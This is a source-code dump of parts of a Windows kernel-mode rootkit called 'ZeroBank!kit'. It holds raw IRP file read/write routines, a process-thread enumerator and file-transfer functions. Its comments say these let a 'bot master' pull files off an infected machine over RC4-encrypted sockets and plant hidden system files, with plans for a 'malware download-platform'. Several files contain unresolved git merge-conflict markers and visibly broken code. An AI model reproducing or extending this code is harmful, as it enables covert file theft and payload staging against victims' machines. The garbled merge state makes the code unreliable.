111 | send(socket, out, length);
112 | }
113 | }
114 | g_Hash._ObfDereferenceObject(FileObject);
115 | }
116 | #ifndef _WIN64
117 | ObpCloseHandle(handle, KernelMode);
118 | #else
119 | ZwClose(handle);
120 | #endif
121 | }
122 |
123 | g_Hash._RtlFreeUnicodeString(&ustr1);
124 |
125 | return st;
126 | }
127 |
128 | NTSTATUS IopQueryFileInformation(IN HANDLE FileHandle, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS InfoClass)
129 | {
130 |
131 | NTSTATUS st;
132 | KEVENT Event;
133 | PIRP Irp = NULL;
134 | PFILE_OBJECT FileObject = NULL;
135 | PDEVICE_OBJECT DeviceObject = NULL;
136 | PIO_STACK_LOCATION pio = NULL;
137 | IO_STATUS_BLOCK io;
138 |
139 | st = g_Hash._ObReferenceObjectByHandle(FileHandle, FILE_GENERIC_READ, *g_Hash._IoFileObjectType, KernelMode, (PVOID*)&FileObject, NULL);
140 | if (NT_SUCCESS(st))
141 | {
142 | DeviceObject = g_Hash._IoGetRelatedDeviceObject(FileObject);
143 | if (DeviceObject)
144 | {
145 | Irp = g_Hash._IoAllocateIrp(DeviceObject->StackSize, FALSE);
146 | if (Irp)
147 | {
148 | g_Hash._KeInitializeEvent(&Event, SynchronizationEvent, FALSE);
149 |
150 | memset(FileInformation, 0, Length);
151 | Irp->AssociatedIrp.SystemBuffer = FileInformation;
152 | Irp->UserEvent = &Event;
153 | Irp->UserIosb = &io;
154 | Irp->RequestorMode = KernelMode;
155 | Irp->Tail.Overlay.Thread = (PETHREAD)g_Hash._KeGetCurrentThread();
156 | Irp->Tail.Overlay.OriginalFileObject = FileObject;
157 |
158 | pio = Irp->Tail.Overlay.CurrentStackLocation - 1;
159 | pio->DeviceObject = DeviceObject;
160 | pio->FileObject = FileObject;
161 | pio->MajorFunction = IRP_MJ_QUERY_INFORMATION;
162 | pio->Parameters.QueryFile.Length = Length;
163 | pio->Parameters.QueryFile.FileInformationClass = InfoClass;
164 |
165 | IoSetCompletionRoutine(Irp, QueryCompletion, NULL, TRUE, TRUE, TRUE);
166 |
167 | st = g_Hash._IofCallDriver(DeviceObject, Irp);
168 | if (st == STATUS_PENDING)
169 | st = g_Hash._KeWaitForSingleObject(&Event, Executive, KernelMode, TRUE, NULL);
170 |
171 | }
172 | }
173 | g_Hash._ObfDereferenceObject(FileObject);
174 | }
175 |
176 | st = io.Status;
177 |
178 | return st;
179 |
180 | }
181 |
182 | NTSTATUS IopQueryVolumeInformationFile(IN HANDLE Handle, OUT PVOID VolumeInformation, IN ULONG Length, IN FS_INFORMATION_CLASS InfoClass)
183 | {
184 |
185 | NTSTATUS st;
186 | KEVENT Event;
187 | PIRP Irp = NULL;
188 | PFILE_OBJECT FileObject = NULL;
189 | PDEVICE_OBJECT DeviceObject = NULL;
190 | PIO_STACK_LOCATION pio = NULL;
191 | IO_STATUS_BLOCK io;
192 |
193 | st = g_Hash._ObReferenceObjectByHandle(Handle,
194 | FILE_GENERIC_READ,
195 | *g_Hash._IoFileObjectType,
196 | KernelMode,
197 | (PVOID*)&FileObject,
198 | NULL);
199 | if (NT_SUCCESS(st))
200 | {
201 | DeviceObject = g_Hash._IoGetRelatedDeviceObject(FileObject);
202 | if (DeviceObject)
203 | {
204 | Irp = g_Hash._IoAllocateIrp(DeviceObject->StackSize, FALSE);
205 | if (Irp)
206 | {
207 | g_Hash._KeInitializeEvent(&Event, SynchronizationEvent, FALSE);
208 |
209 | memset(VolumeInformation, 0, Length);
210 | Irp->AssociatedIrp.SystemBuffer = VolumeInformation;
211 | Irp->UserEvent = &Event;
212 | Irp->UserIosb = &io;
213 | Irp->RequestorMode = KernelMode;
214 | Irp->Tail.Overlay.Thread = (PETHREAD)g_Hash._KeGetCurrentThread();
215 | Irp->Tail.Overlay.OriginalFileObject = FileObject;
216 |
217 | pio = Irp->Tail.Overlay.CurrentStackLocation - 1;
218 | pio->DeviceObject = DeviceObject;
219 | pio->FileObject = FileObject;
220 | pio->MajorFunction = IRP_MJ_QUERY_VOLUME_INFORMATION;
221 | pio->Parameters.QueryFile.Length = Length;
222 | pio->Parameters.QueryFile.FileInformationClass = InfoClass;
223 |
224 | IoSetCompletionRoutine(Irp, QueryCompletion, NULL, TRUE, TRUE, TRUE);
225 |
226 | st = g_Hash._IofCallDriver(DeviceObject, Irp);
227 | if (st == STATUS_PENDING)
228 | g_Hash._KeWaitForSingleObject(&Event, Executive, KernelMode, TRUE, NULL);
229 | }
230 | }
231 | g_Hash._ObfDereferenceObject(FileObject);
232 | }
233 |
234 | st = io.Status;
235 |
236 | return st;
237 |
238 | }
239 |
240 |
241 | NTSTATUS IopGetFileSize(IN HANDLE Handle, OUT PLARGE_INTEGER Size)
242 | {
243 | NTSTATUS st;
244 | FILE_STANDARD_INFORMATION fileinfo = { 0 };
245 |
246 | st = IopQueryFileInformation(Handle, &fileinfo, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);
247 | if (NT_SUCCESS(st))
248 | {
249 |
250 | Size->HighPart = fileinfo.EndOfFile.HighPart;
251 | Size->LowPart = fileinfo.EndOfFile.LowPart;
252 | Size->QuadPart = fileinfo.EndOfFile.QuadPart;
253 | }
254 |
255 | return st;
256 |
257 | }
258 |
259 |
260 | NTSTATUS IopReadFile(IN HANDLE handle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL)
261 | {
262 | PIRP Irp = NULL;
263 | NTSTATUS st;
264 | KEVENT Event;
265 | PIO_STACK_LOCATION pio = NULL;
266 | PFILE_OBJECT FileObject = NULL;
267 |
268 | st = g_Hash._ObReferenceObjectByHandle(handle, FILE_GENERIC_READ, *g_Hash._IoFileObjectType, KernelMode, &FileObject, NULL);
269 | if (!NT_SUCCESS(st))
270 | {
271 | KdPrint(("\r\nError ObReferenceObjectByHandle IopReadFile: 0x%x"), st);
272 | g_Hash._ObfDereferenceObject(FileObject);
273 | return STATUS_INVALID_HANDLE;
274 | }
275 |
276 | if (FileObject->Vpb == 0 || FileObject->Vpb->DeviceObject == NULL)
277 | return STATUS_UNSUCCESSFUL;
278 |
279 | if (ByteOffset == NULL)
280 | {
281 | if (!(FileObject->Flags & FO_SYNCHRONOUS_IO))
282 | return STATUS_INVALID_PARAMETER;
283 | ByteOffset = &FileObject->CurrentByteOffset;
284 | }
285 |
286 | Irp = g_Hash._IoAllocateIrp(FileObject->Vpb->DeviceObject->StackSize, FALSE);
287 | if (Irp == NULL)
288 | return STATUS_INSUFFICIENT_RESOURCES;
289 |
290 | memset(Buffer, 0, Length);
291 |
292 | if (FileObject->DeviceObject->Flags & DO_BUFFERED_IO)
293 | {
294 | Irp->AssociatedIrp.SystemBuffer = Buffer;
295 | }
296 |
297 | else if (FileObject->DeviceObject->Flags & DO_DIRECT_IO)
298 | {
299 | Irp->MdlAddress = g_Hash._IoAllocateMdl(Buffer, Length, 0, 0, 0);
300 | if (Irp->MdlAddress == NULL)
301 | {
302 | g_Hash._IoFreeIrp(Irp);
303 | return STATUS_INSUFFICIENT_RESOURCES;
304 | }
305 |
306 | g_Hash._MmBuildMdlForNonPagedPool(Irp->MdlAddress);
307 | }
308 | else
309 | {
310 | Irp->UserBuffer = Buffer;
311 | }
312 |
313 | g_Hash._KeInitializeEvent(&Event, SynchronizationEvent, FALSE);
314 |
315 | Irp->UserEvent = &Event;
316 | Irp->UserIosb = IoStatusBlock;
317 | Irp->RequestorMode = KernelMode;
318 | Irp->Flags = IRP_READ_OPERATION;
319 | Irp->Tail.Overlay.Thread = (PKTHREAD)g_Hash._KeGetCurrentThread();
320 | Irp->Tail.Overlay.OriginalFileObject = FileObject;
321 |
322 | pio = Irp->Tail.Overlay.CurrentStackLocation - 1;
323 | pio->MajorFunction = IRP_MJ_READ;
324 | pio->MinorFunction = IRP_MN_NORMAL;
325 | pio->DeviceObject = FileObject->Vpb->DeviceObject;
326 | pio->FileObject = FileObject;
327 | pio->Parameters.Read.Length = Length;
328 | pio->Parameters.Read.ByteOffset = *ByteOffset;
329 |
330 | IoSetCompletionRoutine(Irp, QueryCompletion, NULL, TRUE, TRUE, TRUE);
331 | st = g_Hash._IofCallDriver(FileObject->Vpb->DeviceObject, Irp);
332 | if (st == STATUS_PENDING)
333 | g_Hash._KeWaitForSingleObject(&Event, Executive, KernelMode, TRUE, 0);
334 |
335 | return IoStatusBlock->Status;
336 | }
337 |
338 | <<<<<<< HEAD
339 | NTSTATUS IopWriteFile(IN HANDLE Handle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL)
340 | =======
341 | NTSTATUS IopWriteFile(IN HANDLE Handle, IN ACCESS_MASK DesiredAccess, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL)
342 | >>>>>>> adding files
343 | {
344 | PIRP Irp = NULL;
345 | NTSTATUS st;
346 | KEVENT Event;
347 | PFILE_OBJECT FileObject = NULL;
348 | PIO_STACK_LOCATION pio = NULL;
349 |
350 | <<<<<<< HEAD
351 | st = g_Hash._ObReferenceObjectByHandle(Handle, FILE_GENERIC_WRITE, *g_Hash._IoFileObjectType, KernelMode, (PVOID*)&FileObject, NULL);
352 | =======
353 | st = g_Hash._ObReferenceObjectByHandle(Handle, DesiredAccess, *g_Hash._IoFileObjectType, KernelMode, (PVOID*)&FileObject, NULL);
354 | >>>>>>> adding files
355 | if (!NT_SUCCESS(st))
356 | {
357 | KdPrint(("\r\nObReferenceObjectByHandle Error IopWriteFile: 0x%x"), st);
358 | g_Hash._ObfDereferenceObject(FileObject);
359 | return STATUS_INVALID_HANDLE;
360 | }
361 |
362 | if (FileObject->Vpb == 0 || FileObject->Vpb->DeviceObject == NULL)
363 | return STATUS_UNSUCCESSFUL;
364 |
365 | if (ByteOffset == NULL)
366 | {
367 | if (!(FileObject->Flags & FO_SYNCHRONOUS_IO))
368 | return STATUS_INVALID_PARAMETER;
369 | ByteOffset = &FileObject->CurrentByteOffset;
370 | }
371 |
372 | Irp = g_Hash._IoAllocateIrp(FileObject->Vpb->DeviceObject->StackSize, FALSE);
373 | if (Irp == NULL)
374 | return STATUS_INSUFFICIENT_RESOURCES;
375 |
376 | if (FileObject->DeviceObject->Flags & DO_BUFFERED_IO)
377 | {
378 | Irp->AssociatedIrp.SystemBuffer = Buffer;
379 | }
380 | else
381 | {
382 | Irp->MdlAddress = g_Hash._IoAllocateMdl(Buffer, Length, 0, 0, 0);
383 | if (Irp->MdlAddress == NULL)
384 | {
385 | g_Hash._IoFreeIrp(Irp);
386 | return STATUS_INSUFFICIENT_RESOURCES;
387 | }
388 |
389 | g_Hash._MmBuildMdlForNonPagedPool(Irp->MdlAddress);
390 | }
391 |
392 |
393 | g_Hash._KeInitializeEvent(&Event, SynchronizationEvent, FALSE);
394 |
395 | Irp->UserEvent = &Event;
396 | Irp->UserIosb = IoStatusBlock;
397 | Irp->RequestorMode = KernelMode;
398 | Irp->Flags = IRP_WRITE_OPERATION;
399 | Irp->Tail.Overlay.Thread = (PKTHREAD)g_Hash._KeGetCurrentThread();
400 | Irp->Tail.Overlay.OriginalFileObject = FileObject;
401 |
402 | pio = Irp->Tail.Overlay.CurrentStackLocation - 1;
403 | pio->MajorFunction = IRP_MJ_WRITE;
404 | pio->MinorFunction = IRP_MN_NORMAL;
405 | pio->DeviceObject = FileObject->Vpb->DeviceObject;
406 | pio->FileObject = FileObject;
407 | pio->Parameters.Write.Length = Length;
408 | pio->Parameters.Write.ByteOffset = *ByteOffset;
409 |
410 | IoSetCompletionRoutine(Irp, QueryCompletion, NULL, TRUE, TRUE, TRUE);
411 | st = g_Hash._IofCallDriver(FileObject->Vpb->DeviceObject, Irp);
412 | if (st == STATUS_PENDING)
413 | {
414 | g_Hash._KeWaitForSingleObject(&Event, Executive, KernelMode, TRUE, NULL);
415 | }
416 |
417 | return IoStatusBlock->Status;
418 |
419 | }
420 |
--------------------------------------------------------------------------------
/ZeroBank!kit/rwqueryfilevol.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | NTSTATUS IopQueryFileInformation(IN HANDLE FileHandle,
4 | OUT PVOID FileInformation,
5 | IN ULONG Length,
6 | IN FILE_INFORMATION_CLASS InfoClass);
7 |
8 | NTSTATUS IopQueryVolumeInformationFile(IN HANDLE Handle,
9 | OUT PVOID VolumeInformation,
10 | IN ULONG Length,
11 | IN FS_INFORMATION_CLASS InfoClass);
12 |
13 |
14 | NTSTATUS IopGetFileSize(IN HANDLE Handle,
15 | OUT PLARGE_INTEGER Size);
16 |
17 |
18 | NTSTATUS IopReadFile(IN HANDLE handle,
19 | OUT PIO_STATUS_BLOCK IoStatusBlock,
20 | OUT PVOID Buffer,
21 | IN ULONG Length,
22 | IN PLARGE_INTEGER ByteOffset OPTIONAL);
23 |
24 | NTSTATUS IopWriteFile(IN HANDLE Handle,
25 | <<<<<<< HEAD
26 | =======
27 | IN ACCESS_MASK DesiredAccess,
28 | >>>>>>> adding files
29 | OUT PIO_STATUS_BLOCK IoStatusBlock,
30 | OUT PVOID Buffer,
31 | IN ULONG Length,
32 | IN PLARGE_INTEGER ByteOffset OPTIONAL);
33 |
34 | NTSTATUS IopDeleteFile(IN PFILE_OBJECT socket,
35 | IN PCHAR FileName);
--------------------------------------------------------------------------------
/ZeroBank!kit/thread.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | /*//////////////////////////////////////////
4 | //
5 | // File: Thread.c
6 | //
7 | // Thread information by process ID
8 | // gathers information directly from ETHREAD
9 | //
10 | *///////////////////////////////////////////
11 |
12 |
13 | PROOTKIT_PROCESS_LIST_HEAD kernel_get_process_threads(IN UINT32 ProcessId, IN PROOTKIT_API_HASH Hash)
14 | {
15 | PLIST_ENTRY ListBegin = NULL;
16 | PLIST_ENTRY ListEntry = NULL;
17 | PROOTKIT_THREAD_ENTRY ThreadBuffer = NULL;
18 | PEPROCESS Eprocess = NULL;
19 | ULONG_PTR Ethread = 0;
20 | NTSTATUS st;
21 | TIME_FIELDS ttimer = { 0 };
22 | LARGE_INTEGER large = { 0 };
23 |
24 | st = Hash->_PsLookupProcessByProcessId((HANDLE)ProcessId, (PEPROCESS*)&Eprocess);
25 | if (!NT_SUCCESS(st))
26 | {
27 | KdPrint(("\r\nError opening process handle"));
28 | Hash->_ObfDereferenceObject(Eprocess);
29 | }
30 |
31 | __try {
32 |
33 | g_thread_head = (PROOTKIT_THREAD_LIST_HEAD)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_THREAD_LIST_HEAD));
34 | InitializeListHead(&g_thread_head->Entry);
35 | g_thread_head->NumberOfThreads = 0;
36 |
37 | ListBegin = (PLIST_ENTRY)((ULONG_PTR)Eprocess + g_rootkit_dynamic_data.ThreadListHead_Offset);
38 |
39 | for (ListEntry = ListBegin->Flink; ListEntry != ListBegin; ListEntry = ListEntry->Flink)
40 | {
41 | ThreadBuffer = (PROOTKIT_THREAD_ENTRY)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_THREAD_ENTRY));
42 | Ethread = (ULONG_PTR)ListEntry - g_rootkit_dynamic_data.ThreadListEntry_Offset;
43 | memset(ThreadBuffer, 0, sizeof(ROOTKIT_THREAD_ENTRY));
44 |
45 | ThreadBuffer->Ethread = Ethread;
46 | ThreadBuffer->ThreadId = Hash->_PsGetThreadId(Ethread);
47 | ThreadBuffer->ContextSwitches = *(PUINT16)(Ethread + g_rootkit_dynamic_data.ContextSwitches_Offset);
48 | ThreadBuffer->StartAddress = *(PULONG_PTR)((ULONG_PTR)Ethread + g_rootkit_dynamic_data.StartAddress_Offset);
49 | ThreadBuffer->KernelStackResident = *(PBOOLEAN)(Ethread + g_rootkit_dynamic_data.KernelStackResident_Offset);
50 |
51 | large = *(LARGE_INTEGER*)((ULONG_PTR)Ethread + g_rootkit_dynamic_data.CreateTimeThread_Offset);
52 | Hash->_RtlTimeToTimeFields(&large, &ttimer);
53 |
54 | ThreadBuffer->KernelTime = *(PUINT32)((ULONG_PTR)Ethread + g_rootkit_dynamic_data.ThreadKernelTime_Offset);
55 |
56 | Hash->_sprintf_s(ThreadBuffer->ThreadCreationTime, 255, "%02u/%02u/%04u %02u:%02u:%02u", \
57 | ttimer.Day, \
58 | ttimer.Month, \
59 | ttimer.Year, \
60 | ttimer.Hour, \
61 | ttimer.Minute, \
62 | ttimer.Second);
63 |
64 | g_thread_head->NumberOfThreads++;
65 |
66 | Hash->_KfAcquireSpinLock(&g_globalspinlock);
67 | InsertTailList(&g_thread_head->Entry, &ThreadBuffer->Entry);
68 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql);
69 | }
70 |
71 | return g_thread_head;
72 |
73 | }
74 | __except (EXCEPTION_EXECUTE_HANDLER) {
75 | KdPrint(("\r\nException Caught Thread plugin"));
76 | if (g_thread_head) {
77 | Hash->_ExFreePoolWithTag(g_thread_head,0);
78 | g_thread_head = NULL;
79 | }
80 | return GetExceptionCode();
81 | }
82 |
83 | Hash->_ObfDereferenceObject(Eprocess);
84 | }
85 |
86 | ULONG rk_copy_thread_list_to_buffer(PROOTKIT_THREAD_ENTRY Buffer, IN PROOTKIT_API_HASH Hash)
87 | {
88 | ULONG returnedlength = 0;
89 | PROOTKIT_THREAD_ENTRY CopyBuffer = NULL;
90 |
91 | if (g_thread_head == NULL)
92 | return 0;
93 |
94 | Hash->_KfAcquireSpinLock(&g_globalspinlock);
95 |
96 | while (!IsListEmpty(&g_thread_head->Entry))
97 | {
98 | CopyBuffer = (PROOTKIT_THREAD_ENTRY)RemoveTailList(&g_thread_head->Entry);
99 | kimemcpy(Buffer, CopyBuffer, sizeof(ROOTKIT_THREAD_ENTRY));
100 | Hash->_ExFreePoolWithTag(CopyBuffer,0);
101 | Buffer++;
102 | returnedlength++;
103 | }
104 |
105 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql);
106 |
107 | Hash->_ExFreePoolWithTag(g_thread_head,0);
108 | g_thread_head = NULL;
109 |
110 | return returnedlength*sizeof(ROOTKIT_THREAD_ENTRY);
111 | }
112 |
113 | BOOLEAN rk_send_threads_to_userspace(IN UINT32 ProcessId, IN PFILE_OBJECT socket, IN PROOTKIT_API_HASH Hash)
114 | {
115 | ULONG sendbytes = 0;
116 | PROOTKIT_THREAD_LIST_HEAD threadlisthead = NULL;
117 | PROOTKIT_THREAD_ENTRY entrythread = NULL;
118 | INT sendsize = 0;
119 | ULONG returnedbytes = 0;
120 | PVOID Buffer = NULL;
121 | PMDL Mdl = NULL;
122 | BOOLEAN g_cond = FALSE;
123 |
124 | threadlisthead = kernel_get_process_threads(ProcessId, Hash);
125 | sendbytes = threadlisthead->NumberOfThreads*sizeof(ROOTKIT_THREAD_ENTRY);
126 |
127 | do
128 | {
129 | sendsize = send(socket, (char*)&sendbytes, sizeof(ULONG));
130 | if (sendsize > 0)
131 | {
132 | Buffer = KiAllocateMappedVirtualMemory(sendbytes, 'kbot', &Mdl, Hash);
133 | if (Buffer && Hash->_MmIsAddressValid(Buffer) && KiIsMdlAdddressValid(Mdl,Hash)==TRUE)
134 | {
135 | entrythread = (PROOTKIT_THREAD_ENTRY)Buffer;
136 | if (entrythread && Hash->_MmIsAddressValid(entrythread))
137 | {
138 | returnedbytes = rk_copy_thread_list_to_buffer(entrythread, Hash);
139 | if (returnedbytes > 0)
140 | {
141 | sendsize = tdi_send_crypted(socket, RC4_KEY_2, (PROOTKIT_THREAD_ENTRY)entrythread, returnedbytes, 0);
142 | if (sendsize > 0)
143 | {
144 | g_cond = TRUE;
145 | goto clean;
146 | }
147 | }
148 | }
149 | }
150 | }
151 |
152 |
153 | } while (FALSE);
154 |
155 | clean:
156 | KiFreeMappedVirtualMemory(Buffer, 'kbot', Mdl, Hash);
157 | Buffer = NULL;
158 |
159 | return g_cond;
160 | }
--------------------------------------------------------------------------------
/ZeroBank!kit/thread.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #pragma once
4 |
5 | typedef struct _ROOTKIT_THREAD_ENTRY
6 | {
7 | #ifndef _WIN64
8 | LIST_ENTRY Entry;
9 | #else
10 | LIST_ENTRY64 Entry;
11 | #endif
12 | ULONG_PTR Ethread;
13 | UINT16 ContextSwitches;
14 | BOOLEAN KernelStackResident;
15 | ULONG_PTR StartAddress;
16 | ULONG ThreadId;
17 | CHAR ThreadCreationTime[255];
18 | UINT32 KernelTime;
19 | }ROOTKIT_THREAD_ENTRY, *PROOTKIT_THREAD_ENTRY;
20 |
21 | typedef struct _ROOTKIT_THREAD_LIST_HEAD
22 | {
23 | #ifndef _WIN64
24 | LIST_ENTRY Entry;
25 | #else
26 | LIST_ENTRY64 Entry;
27 | #endif
28 | ULONG NumberOfThreads;
29 | }ROOTKIT_THREAD_LIST_HEAD, *PROOTKIT_THREAD_LIST_HEAD;
30 |
31 | PROOTKIT_THREAD_LIST_HEAD g_thread_head;
32 | PROOTKIT_PROCESS_LIST_HEAD kernel_get_process_threads(IN UINT32 ProcessId, IN PROOTKIT_API_HASH Hash);
33 | ULONG rk_copy_thread_list_to_buffer(PROOTKIT_THREAD_ENTRY Buffer, IN PROOTKIT_API_HASH Hash);
34 | BOOLEAN rk_send_threads_to_userspace(IN UINT32 ProcessId, IN PFILE_OBJECT socket, IN PROOTKIT_API_HASH Hash);
35 |
36 |
--------------------------------------------------------------------------------
/ZeroBank!kit/transfer.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | /*///////////////////////////////////////////////////////////////
4 | //
5 | // File: transfer.c
6 | //
7 | // Implementation of file transfering routines
8 | //
9 | // Function: rk_send_file_to_userspace
10 | // - Bot master can download file from remote host
11 | // - If file is being by another process it cannot be
12 | // downloaded
13 | // Function: rk_store_file_from_userspace
14 | // - Bot master can store files inside directory
15 | //
16 | // To do:
17 | // - Store files in encrypted format, serving
18 | // the purpose of a malware download-platform
19 | //
20 | *////////////////////////////////////////////////////////////////
21 |
22 |
23 | NTSTATUS rk_send_file_to_userspace(IN PCHAR FileName, IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash)
24 | {
25 |
26 | OBJECT_ATTRIBUTES oa = { 0 };
27 | UNICODE_STRING ustr1 = { 0 };
28 | IO_STATUS_BLOCK io = { 0 };
29 | HANDLE handle = NULL;
30 | NTSTATUS st;
31 | ANSI_STRING ansi = { 0 };
32 | FILE_STANDARD_INFORMATION fileinfo = { 0 };
33 | PVOID Buffer = NULL;
34 | CHAR cSize[260] = { 0 };
35 | INT sendsize = 0;
36 | PFILE_OBJECT FileObject = NULL;
37 |
38 | Hash->_RtlInitAnsiString(&ansi, FileName);
39 | Hash->_RtlAnsiStringToUnicodeString(&ustr1, &ansi, TRUE);
40 | InitializeObjectAttributes(&oa, &ustr1, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
41 |
42 | #ifndef _WIN64 && WINVER == _WIN32_WINNT_WIN7
43 |
44 | st = MyIopCreateFile(&handle, \
45 | FILE_GENERIC_READ, \
46 | &oa, \
47 | &io, \
48 | 0, \
49 | FILE_ATTRIBUTE_NORMAL, \
50 | FILE_SHARE_READ, \
51 | FILE_OPEN, \
52 | FILE_NON_DIRECTORY_FILE |
53 | FILE_SYNCHRONOUS_IO_NONALERT, \
54 | NULL, \
55 | 0, \
56 | CreateFileTypeNone, \
57 | 0, \
58 | IO_NO_PARAMETER_CHECKING, \
59 | 0, \
60 | NULL);
61 | #else
62 | st = IoCreateFileEx(&handle, FILE_GENERIC_READ, &oa, &io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, FILE_NON_DIRECTORY_FILE |
63 | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING, NULL);
64 | #endif
65 | if (NT_SUCCESS(st))
66 | {
67 |
68 | st = IopQueryFileInformation(handle, &fileinfo, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);
69 | if (NT_SUCCESS(st))
70 | {
71 |
72 | Buffer = Hash->_ExAllocatePoolWithTag(NonPagedPool, fileinfo.EndOfFile.QuadPart, 'MeM');
73 | if (Buffer)
74 | {
75 |
76 | st = IopReadFile(handle, &io, Buffer, fileinfo.EndOfFile.QuadPart, NULL);
77 | if (NT_SUCCESS(st))
78 | {
79 | Hash->_sprintf_s(cSize, 260, "%lu", fileinfo.EndOfFile.QuadPart);
80 |
81 | sendsize = send(SocketObject, cSize, 260);
82 | if (sendsize > 0)
83 | {
84 | KdPrint(("\r\nFile Size successfully sent to user-space"));
85 |
86 | sendsize = tdi_send_crypted(SocketObject, RC4_KEY_3, (PVOID)Buffer, (ULONG)fileinfo.EndOfFile.QuadPart, 0);
87 | if (sendsize > 0)
88 | {
89 | KdPrint(("\r\nFile Buffer successfully sent to user-space"));
90 | }
91 | }
92 | }
93 | Hash->_ExFreePoolWithTag(Buffer, 'MeM');
94 | }
95 | }
96 | #ifndef _WIN64
97 |
98 | ObpCloseHandle(handle, KernelMode);
99 | #else
100 | ZwClose(handle);
101 | #endif
102 | }
103 |
104 | Hash->_RtlFreeUnicodeString(&ustr1);
105 |
106 | return st;
107 | }
108 |
109 |
110 |
111 | NTSTATUS rk_store_file_from_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash)
112 | {
113 | NTSTATUS st;
114 | OBJECT_ATTRIBUTES oa = { 0 };
115 | UNICODE_STRING ustr1 = { 0 };
116 | IO_STATUS_BLOCK io = { 0 };
117 | HANDLE handle;
118 | INT recvsize = 0;
119 | ULONG filesize = 0;
120 | PCHAR Buffer = NULL;
121 | INT offset = 0;
122 | INT size = 0;
123 | PROOTKIT_STORE_USERSPACE_FILE storefile = NULL;
124 | ANSI_STRING ansi = { 0 };
125 | LARGE_INTEGER large = { 0 };
126 | CHAR szPrefix[255] = { 0 };
127 |
128 | storefile = (PROOTKIT_STORE_USERSPACE_FILE)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_STORE_USERSPACE_FILE));
129 | if (storefile == NULL)
130 | return STATUS_INSUFFICIENT_RESOURCES;
131 |
132 | recvsize = recv(SocketObject, (char*)storefile, sizeof(ROOTKIT_STORE_USERSPACE_FILE));
133 | if (recvsize <= 0)
134 | return STATUS_UNSUCCESSFUL;
135 |
136 |
137 | Buffer = (char*)Hash->_ExAllocatePool(NonPagedPool, (SIZE_T)storefile->FileSize);
138 | if (Buffer == NULL)
139 | return STATUS_NO_MEMORY;
140 |
141 | while (storefile->FileSize > offset)
142 | {
143 | size = recv(SocketObject, Buffer + offset, storefile->FileSize - offset);
144 | if (size <= 0)
145 | break;
146 | else
147 | offset += size;
148 | }
149 |
150 | /*
151 | NEEDS TO BE IMPLEMENTED PROPERLY
152 |
153 | */
154 |
155 | kistrcpy(szPrefix,"\\SystemRoot\\{ZeroBank GUID Directory}\\@");
156 | kistrcat(szPrefix,"\\");
157 | kistrcat(szPrefix,storefile->FileName);
158 | Hash->_RtlInitAnsiString(&ansi, szPrefix);
159 | Hash->_RtlAnsiStringToUnicodeString(&ustr1, &ansi, TRUE);
160 | InitializeObjectAttributes(&oa, &ustr1, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
161 |
162 | large.QuadPart = 1024;
163 |
164 | #ifndef _WIN64 && WINVER == _WIN32_WINNT_WIN7
165 |
166 | st = MyIopCreateFile(&handle, FILE_GENERIC_WRITE, &oa, &io, &large, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, FILE_SHARE_WRITE,
167 | FILE_CREATE, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0,
168 | CreateFileTypeNone, NULL, 0, IO_NO_PARAMETER_CHECKING, NULL);
169 |
170 | if (!NT_SUCCESS(st))
171 | {
172 | ObpCloseHandle(handle, KernelMode);
173 | return STATUS_UNSUCCESSFUL;
174 | }
175 |
176 | #else
177 |
178 | st = IoCreateFileEx(Handle, FILE_GENERIC_WRITE, &oa, &io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_CREATE,
179 | FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING, 0, NULL);
180 | if (!NT_SUCCESS(st))
181 | {
182 | ZwClose(handle);
183 | return STATUS_UNSUCCESSFUL;
184 | }
185 |
186 |
187 | #endif
188 |
189 | /*
190 |
191 | Encrypt file Before writing
192 |
193 | */
194 |
195 |
196 | <<<<<<< HEAD
197 | st = IopWriteFile(handle, &io, (PVOID)Buffer, storefile->FileSize, NULL);
198 | =======
199 | st = IopWriteFile(handle,FILE_GENERIC_WRITE, &io, (PVOID)Buffer, storefile->FileSize, NULL);
200 | >>>>>>> adding files
201 | if (!NT_SUCCESS(st))
202 | return STATUS_UNSUCCESSFUL;
203 |
204 |
205 | #ifndef _WIN64
206 | ObpCloseHandle(handle, KernelMode);
207 | #else
208 | ZwClose(handle);
209 | #endif
210 |
211 | Hash->_RtlFreeUnicodeString(&ustr1);
212 | Hash->_ExFreePoolWithTag(storefile,0);
213 | Hash->_ExFreePoolWithTag(Buffer,0);
214 |
215 | return st;
216 | }
--------------------------------------------------------------------------------
/ZeroBank!kit/transfer.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | NTSTATUS rk_send_file_to_userspace(IN PCHAR FileName, IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash);
4 |
